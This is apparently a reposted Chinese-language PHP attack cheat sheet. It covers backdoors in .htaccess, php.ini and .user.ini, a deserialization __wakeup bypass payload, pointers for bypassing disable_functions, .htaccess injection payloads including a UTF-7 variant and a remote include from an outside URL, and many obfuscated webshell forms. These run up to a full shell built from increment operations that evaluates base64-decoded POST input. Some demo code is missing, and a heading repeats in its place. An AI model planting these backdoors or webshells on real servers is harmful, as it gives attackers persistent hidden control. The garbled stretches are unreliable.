PHP
4.1.1. 後門
4.1.1.1. php.ini構成的後門
利用 auto_prepend_file 和 include_path
4.1.1.2. .htaccess後門
php_value auto_append_file .htaccess
#
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
4.1.1.3. .user.ini文件構成的PHP後門
.user.ini可運行於所有以fastcgi運行的server。利用方式同php.in
4.1.2. 反序列化
4.1.2.1. PHP序列化實現
PHP序列化處理共有三種,分別為php_serialize、php_binary和 WDDX,默認為php_serialize,可通過配置中的 session.serialize_handler 修改。
其中php_serialize的實現在
php-src/ext/standard/var.c 中,主要函數為 php_var_serialize_intern ,序列化後的格式如下:
- booleanb:;b:1; // trueb:0; // false
- integeri:;
- doubled:;
- NULLN;
- strings::"";s:1:"s";
- arraya::{key, value};a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");
- objectO::":{};
- reference指針類型R:reference;O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}$a = new A();$a->a=1;$a->b=&$a->a;
4.1.2.2. PHP反序列化漏洞
php在反序列化的時候會調用 __wakeup / __sleep 等函數,可能會造成代碼執行等問題。若沒有相關函數,在析構時也會調用相關的析構函數,同樣會造成代碼執行。
另外 __toString / __call 兩個函數也有利用的可能。
其中 __wakeup 在反序列化時被觸發,__destruct 在GC時被觸發, __toString 在echo時被觸發, __call 在一個未被定義的函數調用時被觸發。
下面提供一個簡單的demo.
利用 auto_prepend_file 和 include_path
輸出
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字符串修改一下後,執行
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
輸出
wake up
Data's value is malicious value.
destruct
這裡看到,值被修改了.
上面是一個 unserialize() 的簡單應用,不難看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如讀寫文件、操作數據庫,就可以通過函數實現文件讀寫或者數據讀取的行為。
那麼,在 __wakeup() 中加入判斷是否可以阻止這個漏洞呢?在 __wakeup() 中我們加入一行代碼
但其實還是可以繞過的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。當反序列化中object的個數和之前的個數不等時,wakeup就會被繞過,於是使用下面的payload
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
輸出
Data's value is malicious value.
destruct
這裡wakeup被繞過,值依舊被修改了。
4.1.3. Disable Functions
4.1.3.1. 機制實現
PHP中Disable Function的實現是在php-src/Zend/Zend-API.c中。PHP在啟動時,讀取配置文件中禁止的函數,逐一根據禁止的函數名調用 zend_disable_function 來實現禁止的效果。
這個函數根據函數名在內置函數列表中找到對應的位置並修改掉,當前版本的代碼如下:
和函數的實現方式類似,disable classes也是這樣實現的
因為這個實現機制的原因,在PHP啟動後通過 ini_set 來修改 disable_functions 或 disable_classes 是無效的。
4.1.3.2. Bypass
- LD_PRELOAD繞過 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
- PHP OPcache
- Mail函數
- imap_open https://www.cvedetails.com/cve/cve-2018-19518
4.1.4. Open Basedir
4.1.4.1. 機制實現
PHP中Disable Function的實現是在
php-src/main/fopen-wrappers.c中,實現方式是在調用文件等相關操作時調用函數根據路徑來檢查是否在basedir內,其中一部分實現代碼如下:
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;
/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir))
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '\0';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
4.1.5. phpinfo相關漏洞
4.1.5.1. Session.Save
PHP的Session默認handler為文件,存儲在 php.ini 的 session.save_path 中,若有任意讀寫文件的權限,則可修改或讀取session。從phpinfo中可獲得session位置
4.1.5.2. Session.Upload
php.ini默認開啟了
session.upload_progress.enabled , 該選項會導致生成上傳進度文件,其存儲路徑可以在phpinfo中獲取。
那麼可以構造特別的報文向服務器發送,在有LFI的情況下即可利用。
4.1.5.3. /tmp臨時文件競爭
phpinfo中可以看到上傳的臨時文件的路徑,從而實現LFI
4.1.6. htaccess injection payload
4.1.6.1. file inclusion
利用 auto_prepend_file 和 include_path
4.1.6.2. code execution
php_value auto_append_file .htaccess
#
4.1.6.3. file inclusion
- php_flag allow_url_include 1
- php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
- #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
- #php_value auto_append_file https://sektioneins.de/evil-code.txt
4.1.6.4. code execution with UTF-7
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
4.1.6.5. Source code disclosure
php_flag engine 0
4.1.7. WebShell
4.1.7.1. 常見變形
- GLOBALSeval($GLOBALS['_POST']['op']);
- $_FILE eval($_FILE['name']);
- 拆分 assert(${"_PO"."ST"} ['sz']);
- 動態函數執行 $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
- create_function $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
- preg_replace
- rot13
- base64
- 進制轉化 "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
- 利用文件名__FILE__
4.1.7.2. 字符串變形函數
- ucwords
- ucfirst
- trim
- substr_replace
- substr
- strtr
- strtoupper
- strtolower
- strtok
- str_rot13
4.1.7.3. 回調函數
- call_user_func_array
- call_user_func
- array_filter
- array_walk
- array_map
- registregister_shutdown_function
- register_tick_function
- filter_var
- filter_var_array
- uasort
- uksort
- array_reduce
- array_walk
- array_walk_recursive
4.1.7.4. 特殊字符Shell
PHP的字符串可以在進行異或、自增運算的時候,會直接進行運算,故可以使用特殊字符來構成Shell。
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(base64_decode($_[_]));
4.1.8. 其它
4.1.8.1. 低精度
php中並不是用高精度來存儲浮點數,而是用使用 IEEE 754 雙精度格式,造成在涉及到浮點數比較的時候可能會出現預期之外的錯誤。比如 php -r "var_dump(0.2+0.7==0.9);" 這行代碼的輸出是 bool(false) 而不是 bool(true)。這在一些情況下可能出現問題。
4.1.8.2. 弱類型
如果使用 == 來判斷相等,則會因為類型推斷出現一些預料之外的行為,比如magic hash,指當兩個md5值都是 0e[0-9]{30} 的時候,就會認為兩個hash值相等。另外在判斷字符串和數字的時候,PHP會自動做類型轉換,那麼 1=="1a.php" 的結果會是true
另外在判斷一些hash時,如果傳入的是數組,返回值會為 NULL, 因此在判斷來自網絡請求的數據的哈希值時需要先判斷數據類型。
同樣的, strcmp() ereg() strpos() 這些函數在處理數組的時候也會異常,返回NULL。
4.1.8.3. 命令執行
preg_replace 第一個參數是//e的時候,第二個參數會被當作命令執行
4.1.8.4. 截斷
PHP字符存在截斷行為,可以使用 ereg / %00 / iconv 等實現php字符截斷的操作,從而觸發漏洞。
4.1.8.5. 變量覆蓋
當使用 extract / parse_str 等函數時,或者使用php的 $$ 特性時,如果沒有正確的調用,則可能使得用戶可以任意修改變量。
4.1.8.6. 執行系統命令
禁用的函數可以在phpinfo中的 disable_functions 中查看
- pcntl_exec
- exec
- passthru
- popen
- shell_exec
- system
- proc_open
4.1.8.7. Magic函數
- __construct() __destruct()
- __call() __callStatic()
- __get() __set()
- __isset() __unset()
- __sleep() __wakeup()
- __toString()
- __invoke()
- __set_state()
- __clone()
- __debugInfo()
4.1.8.8. 文件相關敏感函數
- move_uploaded_file
- file_put_contents / file_get_contents
- unlink
- fopen / fgets
4.1.8.9. php特性
- php自身在解析請求的時候,如果參數名字中包含” “、”.”、”[“這幾個字符,會將他們轉換成下劃線。
本文轉載自 安全時代